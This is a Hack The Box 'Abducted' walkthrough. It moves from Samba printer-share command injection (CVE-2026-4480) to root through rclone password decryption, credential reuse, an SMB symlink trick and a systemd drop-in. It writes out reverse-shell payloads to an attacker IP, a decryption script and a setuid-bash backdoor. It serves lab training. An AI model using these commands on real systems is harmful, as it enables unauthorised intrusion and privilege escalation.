HTB Abducted Writeup | Samba Printer RCE (CVE-2026-4480) to Root via systemd Drop-In
Complete Hack The Box Abducted walkthrough covering Samba printer share RCE via CVE-2026-4480, rclone obscure password decryption, credential reuse to scott, SMB force-user plus wide-links pivot to marcus, and root via systemd drop-in.
Abducted HackTheBox Writeup
Machine: Abducted (10.129.43.129)
Difficulty: Medium
Target: Samba print server → nobody shell → scott → marcus → root
1. Enumeration
Port scan
Started with RustScan, batched scans, top ports with the standard service/version scripts:
# Top-ports RustScan with Nmap service and script scan
rustscan -b 500 -a 10.129.43.129 --top -- -sC -sV -PnPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4Host scripts:
- NetBIOS name: ABDUCTED
- SMB2 message signing enabled but not required — a sign it's not super hardened
clock-skew: -45s
So a minimal attack surface: SSH + SMB. The whole box lives behind the Samba service. That's our doorway.
Share enumeration
# List SMB shares on the target
smbclient -L 10.129.43.129Sharename Type Comment
------------ ---- -------
HP-Reception Printer Reception printer
projects Disk Hartley Group Project Files
transfer Disk Staff file transfer
IPC$ IPC IPC Service (Hartley Group Document Services)projects/transferrejected guest auth.HP-Receptionis a printer share — and printer shares are special. They accept print jobs from anyone ifguest okis set.
enum4linux
Server allows sessions using username '', password ''Key findings:
| Finding | Why it matters |
|---|---|
| Null session allowed | We can enumerate via RPC anonymously |
Users: scott (RID 1000), marcus (1001) |
Two valid accounts to attack later |
| Password policy: min len 5, complexity OFF, no lockout | Weak — credential guessing is realistic |
| SMB1 disabled | Server only speaks SMB2/3 |
HP-Reception guest-accessible |
The entry point |
The printer share + weak policy + two local users. Classic Samba box setup. The intended path is gonna be: printer share RCE first.
NetBIOS and RPC enumeration
Dump the NetBIOS name table — <20> confirms a file server, and the default WORKGROUP means no Active Directory here:
# Dump the NetBIOS name table
nmblookup -A 10.129.43.129 ABDUCTED <00> - B <ACTIVE>
ABDUCTED <03> - B <ACTIVE>
ABDUCTED <20> - B <ACTIVE>
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>
WORKGROUP <00> - <GROUP> B <ACTIVE>
WORKGROUP <1d> - B <ACTIVE>
WORKGROUP <1e> - <GROUP> B <ACTIVE>Guest auth is enabled, though share listing over the usual tooling can still fail — smbclient is the reliable path:
# Confirm guest auth works
netexec smb 10.129.43.129 -u guest -p '' --shares[+] ABDUCTED\guest: (Guest)
[-] Error enumerating shares: STATUS_ACCESS_DENIEDrpcclient over a null session surfaces the domain users and password policy directly:
# Enumerate users and policy over null-session RPC
rpcclient -N 10.129.43.129 -U "" -c 'enumdomusers; querydispinfo; getdompwinfo'user:[scott] rid:[0x3e8]
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: scott Name: Scott Mercer
min_password_length: 5
password_properties: 0x000000002. The Printer Share — Foot in the Door
Let's poke the printer share as a guest:
# Probe the printer share as a guest
smbclient //10.129.43.129/HP-Reception -NNothing to list inside (NT_STATUS_NO_SUCH_FILE) — expected, it's a print spooler, not a disk.
I opened help and notice a print command. Like, actual printing.
smb: \> print test.txt
putting file test.txt as test.txt (0.0 kB/s) (average 0.0 kB/s)Wait... it took a local file, uploaded it, and submitted it as a print job. That means the share is live and accepting guest print jobs.
Why does this matter? Because if Samba's print command is configured with the %J substitution (the client-controlled job name), and that string hits a shell unescaped, it's a command injection sink. That's exactly CVE-2026-4480.
The vulnerability (under the hood)
Samba's smb.conf can define a print command like:
print command = /usr/local/bin/printaudit %J %s%s= the spool file path (what the client uploaded viaWritePrinter)%J= the job name, which is client-controlled
Before the patch, Samba passed %J straight into a /bin/sh -c execution with only ' → _ as sanitization. So if we set the job name to something like:
|shthe command becomes:
/usr/local/bin/printaudit |sh %sThat pipe redirects the output of the print command straight into sh — and whatever we wrote as the spool file body gets interpreted as a shell script. Total game over: unauthenticated pre-auth RCE.
Simpler path — plain smbclient print
Plain smbclient works too: the printed filename becomes the job name (%J). Drop a file literally named |sh and print it:
# Filename becomes %J, file body becomes the script fed to sh
echo 'ping -c 1 10.10.14.80' > '|sh'
smbclient //10.129.43.129/HP-Reception -N -c 'print "|sh"'putting file |sh as |sh (0.0 kB/s) (average 0.0 kB/s)Server side this lands as cat <spoolfile> | sh — confirm out-of-band with tcpdump -ni tun0 icmp, then swap ping for a bash reverse shell (name it |bash so it executes under bash rather than sh):
# Reverse-shell variant, executed as bash
echo 'bash -i >& /dev/tcp/10.10.14.80/4444 0>&1' > '|bash'
smbclient //10.129.43.129/HP-Reception -N -c 'print "|bash"'Programmatic exploit over the spoolss RPC pipe
For a repeatable exploit, talk directly to the Spooler RPC interface over the named pipe \pipe\spoolss (DCERPC):
- Connect anonymously to
ncacn_np:10.129.43.129[\pipe\spoolss] OpenPrinteron\\10.129.43.129\HP-ReceptionStartDocPrinterwithdocument_name = "|sh"← the injection lands in%JStartPagePrinterWritePrinterwith our payload (the reverse-shell script) ← becomes%sEndPagePrinter,EndDocPrinter← triggers the print command server-sideClosePrinter
The box creator's CVE-2026-4480 POC implements exactly these seven calls over impacket (document_name = "|sh", spool body via WritePrinter).
Payload written into the spool file:
# Reverse-shell payload written into the spool file
setsid bash -c 'bash -i >& /dev/tcp/10.10.14.80/4444 0>&1' >/dev/null 2>&1 &The setsid ... & detaches it so the synchronous print-command path doesn't hang smbd.
Run:
# Terminal 1 — listener
penelope -l 4444
# Terminal 2 — exploit
python3 cve-2026-4480.py 10.129.43.129 10.10.14.80 4444Result:
nobody@abducted:/var/spool/samba$ whoami
nobody
nobody@abducted:/var/spool/samba$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)Shell as nobody. The box is ours at the lowest level.
Stabilising the shell
Upgrade the raw reverse shell to a proper TTY before doing real work:
# On target, then Ctrl+Z; on attacker stty raw -echo; fg; back on target reset
script /dev/null -c bash3. Post-Exploitation as nobody — Following the Breadcrumbs
nobody can't read /home entries (Permission denied on both scott and marcus), /root is sealed. So I went wandering through world-readable dirs and hit gold in /opt:
# Hunt world-readable directories as nobody
nobody@abducted:/opt$ ls
offsite-backup
nobody@abducted:/opt/offsite-backup$ ls
rclone.conf sync.shTwo files — a backup config and its driver script.
# Read the backup driver script
nobody@abducted:/opt/offsite-backup$ cat sync.sh
#!/bin/bash
/usr/bin/rclone --config /opt/offsite-backup/rclone.conf sync /srv/projects offsite:projects# Read the rclone backup config with the obfuscated password
nobody@abducted:/opt/offsite-backup$ cat rclone.conf
[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unixJuicy stuff:
- An SFTP backup target with a user
svc-backup - An obfuscated password (rclone
obscureformat) - This sync runs from a root cron at 2:30 AM (
/etc/cron.d/offsite-backup) - It syncs
/srv/projects— the same dir that's the SMBprojectsshare later
The password is only "hidden" with rclone's obfuscation — which is encryption with a hardcoded key. Not real security at all.
Decrypting the rclone password
Fastest route first — rclone decodes its own obfuscation, right on the target, no code needed:
# rclone reveals its own obscure-format password
nobody@abducted:/$ rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNwiXzvcib3SrpZIf rclone ever isn't installed, decode by hand. rclone obscure = AES-CTR with a static key, base64url encoded. Layout: [16-byte IV][ciphertext].
import base64
from Crypto.Cipher import AES
enc = 'HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw'
raw = base64.urlsafe_b64decode(enc + '=' * (-len(enc) % 4))
key = bytes.fromhex('9c935b48730a554d6bfd7c63c886a92bd390198eb8128afbf4de162b8b95f638')
iv, ct = raw[:16], raw[16:]
cipher = AES.new(key, AES.MODE_CTR, nonce=b'', initial_value=iv)
print('Plaintext password:', cipher.decrypt(ct).decode())Plaintext password: iXzvcib3SrpZLesson: The hardcoded AES key above is public (it's in rclone's source). That's the whole "protect a config file" scheme. Obfuscation is not encryption.
Now we have a credential pair svc-backup : iXzvcib3SrpZ. But that user isn't local to this box (getent passwd svc-backup → nothing). Given the weak password policy we found via enum4linux, credential reuse is the obvious next move.
4. Password Reuse → scott
# Reuse the decrypted password to SSH in as scott
ssh scott@10.129.43.129
scott@10.129.43.129's password: iXzvcib3SrpZscott@abducted:~$We're in as scott (uid 1000). Flag "user" territory.
From here I confirmed:
sudo -l→ scott cannot sudo (no lucky sudoers).user.txtis readable in/home/scott.- There's a root cron:
/etc/cron.d/offsite-backup→30 2 * * * root /opt/offsite-backup/sync.sh.
So the backup cron runs as root, but we can't write /opt/offsite-backup/sync.sh (root-owned). We CAN write /srv/projects (it's scott:scott), but rclone sync doesn't execute file contents... so that wasn't directly the root path. Time to read the Samba config properly.
Reading the share definitions
smb.conf had include = /etc/samba/shares.conf. That's where the actual share definitions live:
[HP-Reception]
printable = yes
guest ok = yes
print command = /usr/local/bin/printaudit %J %s ← the vulnerable print command (confirms CVE-2026-4480)
[projects]
path = /srv/projects
valid users = scott
read only = no
[transfer]
path = /srv/transfer
valid users = scott
force user = marcus ← files created via this share become marcus!
wide links = yes ← follow symlinks that point outside the share!
read only = noThe transfer share is the trap laid by the box author:
valid users = scott— we can connect.force user = marcus— any file we create through this SMB share is owned/created as marcus.wide links = yes— Samba will happily follow a symlink inside the share to anywhere on the filesystem.
That combination is an arbitrary-file-write-as-marcus primitive. We just need to figure out what marcus is good for.
The global section backs this up:
[global]
workgroup = WORKGROUP
map to guest = Bad User
guest account = nobody
unix extensions = no
allow insecure wide links = yes
include = /etc/samba/shares.confallow insecure wide links = yes together with unix extensions = no is what lets the server follow our symlink off the share. Without that combination, the trick dies.
5. The Pivot: Becoming marcus
Check what marcus belongs to:
# Check marcus group membership
scott@abducted:~$ id marcus
uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)
scott@abducted:~$ find / -group 1000 2>/dev/null
/etc/systemd/system/smbd.service.dmarcus is in a group called operators (gid 1000), and that group owns a systemd drop-in directory for the smbd service.
# Inspect the smbd drop-in directory permissions
scott@abducted:~$ ls -la /etc/systemd/system/ | grep smbd
drwxrws--- 2 root operators 4096 ... smbd.service.ddrwxrws--- — group operators can read, write, and execute inside. Any .conf dropped in that directory gets merged into the smbd.service unit by systemd. That is the root escalation.
But first — get a marcus shell so we can actually benefit from the group (and run systemctl).
The symlink + SMB trick
/srv/transfer is owned by scott? Let's check:
# Check share directory ownership
scott@abducted:~$ ls -la /srv/
drwxr-x--- 2 scott scott 4096 ... projects
drwxr-xr-x 2 scott scott 4096 ... transferBoth dirs are scott-owned, so scott can create a symlink in /srv/transfer pointing anywhere:
# Symlink marcus home into the transfer share
scott@abducted:~$ ln -sf /home/marcus /srv/transfer/marcushomeNow connect to the transfer share over SMB. Because of wide links = yes, Samba follows marcushome to /home/marcus. Because of force user = marcus, every operation is performed as marcus — who of course can access his own home. So I can create .ssh and drop my public key:
# generator
ssh-keygen -t ed25519 -f marcus_key -N ""
smbclient //10.129.43.129/transfer -U 'scott%iXzvcib3SrpZ' -c \
'cd marcushome; mkdir .ssh; cd .ssh; put marcus_key.pub authorized_keys; ls'smbclient gotchas I hit while doing this:
~is not expanded inside smbclient —put ~/.ssh/id_rsa.pubfails.- Interactive-mode
putwith an absolute local path can get mis-parsed as a remote path. -cneeds semicolon separation, not newlines.- Reliable form:
-c 'cd <remote>; put /abs/path authorized_keys; ls'
Then:
# SSH in as marcus with the planted key
ssh -i marcus_key marcus@10.129.43.129
marcus@abducted:~$ id
uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)We are marcus. Now the interesting part: what can the operators group actually reach?
6. Root via systemd Drop-In
Why marcus can control smbd
Write access to a unit's drop-in directory means you can modify that unit's definition. Restarting works here because of a custom polkit rule for the operators group (verified below) — systemctl daemon-reload and systemctl restart smbd succeed as marcus while other services prompt for root auth. That's the intended trigger.
Planting the payload
Plan: add an ExecStartPre to the smbd unit that runs as root before smbd starts. Make it backdoor /bin/bash with the setuid bit:
[Service]
ExecStartPre=/bin/sh -c 'cp /bin/bash /tmp/.rootbash; chown root:root /tmp/.rootbash; chmod 4755 /tmp/.rootbash'Order matters a lot here. If you chmod 4755 then chown, the chown clears the setuid bit. Always chown first, then chmod.
We need to write this as marcus (group operators) — scott can't. Reuse the same SMB wide-link trick with a link to smbd.service.d:
# Symlink the systemd drop-in directory into the transfer share
scott@abducted:~$ ln -sf /etc/systemd/system/smbd.service.d /srv/transfer/svcbackup
smbclient //10.129.43.129/transfer -U 'scott%iXzvcib3SrpZ' -c \
'cd svcbackup; put pwn.conf; ls'The file now sits inside smbd.service.d/pwn.conf, written as marcus through the share.
Trigger
# Reload systemd and restart smbd to trigger the drop-in payload
marcus@abducted:~$ systemctl daemon-reload
marcus@abducted:~$ systemctl restart smbdsmbd restarts → systemd loads our drop-in → ExecStartPre fires as root → /tmp/.rootbash is now SUID root:
# Verify the SUID root shell landed
marcus@abducted:~$ ls -l /tmp/.rootbash
-rwsr-xr-x 1 root root 1446024 ... /tmp/.rootbashWhy the restart works — polkit
Restarting any other service prompts for root auth, but smbd doesn't. The reason lives in polkit — interrogate it as marcus:
# List systemd-related polkit actions
marcus@abducted:~$ pkaction | grep systemdorg.freedesktop.systemd1.reload-daemon
...# Ask polkit directly whether this shell may reload the daemon
marcus@abducted:~$ pkcheck --action-id org.freedesktop.systemd1.reload-daemon --process $$ && echo "success"successSo daemon-reload is explicitly granted. The smbd restart grant is conditional on the target unit, which polkit only reveals to root or the action owner — a generic check can't show it, but the unit-scoped allow is confirmed from the other side once root (next section).
Beyond root — the actual rule
/etc/polkit-1/rules.d/49-smbd-operators.rules (readable only as root):
polkit.addRule(function(action, subject) {
if (!subject.isInGroup("operators")) { return; }
if (action.id == "org.freedesktop.systemd1.reload-daemon") {
return polkit.Result.YES;
}
if ((action.id == "org.freedesktop.systemd1.manage-units" ||
action.id == "org.freedesktop.systemd1.manage-unit-files") &&
action.lookup("unit") == "smbd.service") {
return polkit.Result.YES;
}
});Members of operators may reload the daemon and manage only smbd.service. That is the whole privilege boundary of this box — group membership plus this rule.
Root
# Escalate to root with the SUID shell and read the flag
marcus@abducted:~$ /tmp/.rootbash -p
# id
uid=1001(marcus) gid=1002(marcus) euid=0(root) groups=1002(marcus),1000(operators)
# cat /root/root.txtFully owned.
7. Flags
| Flag | Location |
|---|---|
| user.txt | /home/scott/user.txt |
| root.txt | /root/root.txt |
(values omitted)
8. Key Takeaways
| Technique | Takeaway |
|---|---|
| CVE-2026-4480 | Samba print command + %J without escaping = pre-auth RCE via the Spooler RPC pipe; exploit speaks \pipe\spoolss directly (StartDocPrinter with `document_name=" |
rclone obscure |
Not real crypto — AES-CTR with a hardcoded key. Always reversible (rclone reveal, or the key + a few lines of Python). |
| Credential reuse | The whole box runs on one password. Weak policy (min-len 5, no lockout) made nothing stop us. |
SMB force user + wide links |
An arbitrary write-as-that-user primitive. Drop a symlink in a share dir you own, let Samba follow it, act as the forced user. |
| Exotic groups | operators owning a systemd drop-in dir for a service = instant root if you can join the group and restart the service. |
| systemd unit-file write | Modern systemd lets you systemctl restart a unit whose drop-in files you can write. That's the "trigger" the box author built in. |
| Payload ordering | chown after chmod 4755 silently strips setuid. chown first. |
| polkit | pkaction / pkcheck show exactly what your user may do; unit-scoped manage-units grants explain otherwise "magic" service restarts. |
9. References
- 0xdf — HTB: Abducted (full methodology reference)
- Box creator POC — CVE-2026-4480-PoC (TheCyberGeek)
- Samba smb.conf —
allow insecure wide links
9. References
Was this writeup helpful?
13 readers found this helpful
Comments
No comments yet — be the first to share your thoughts.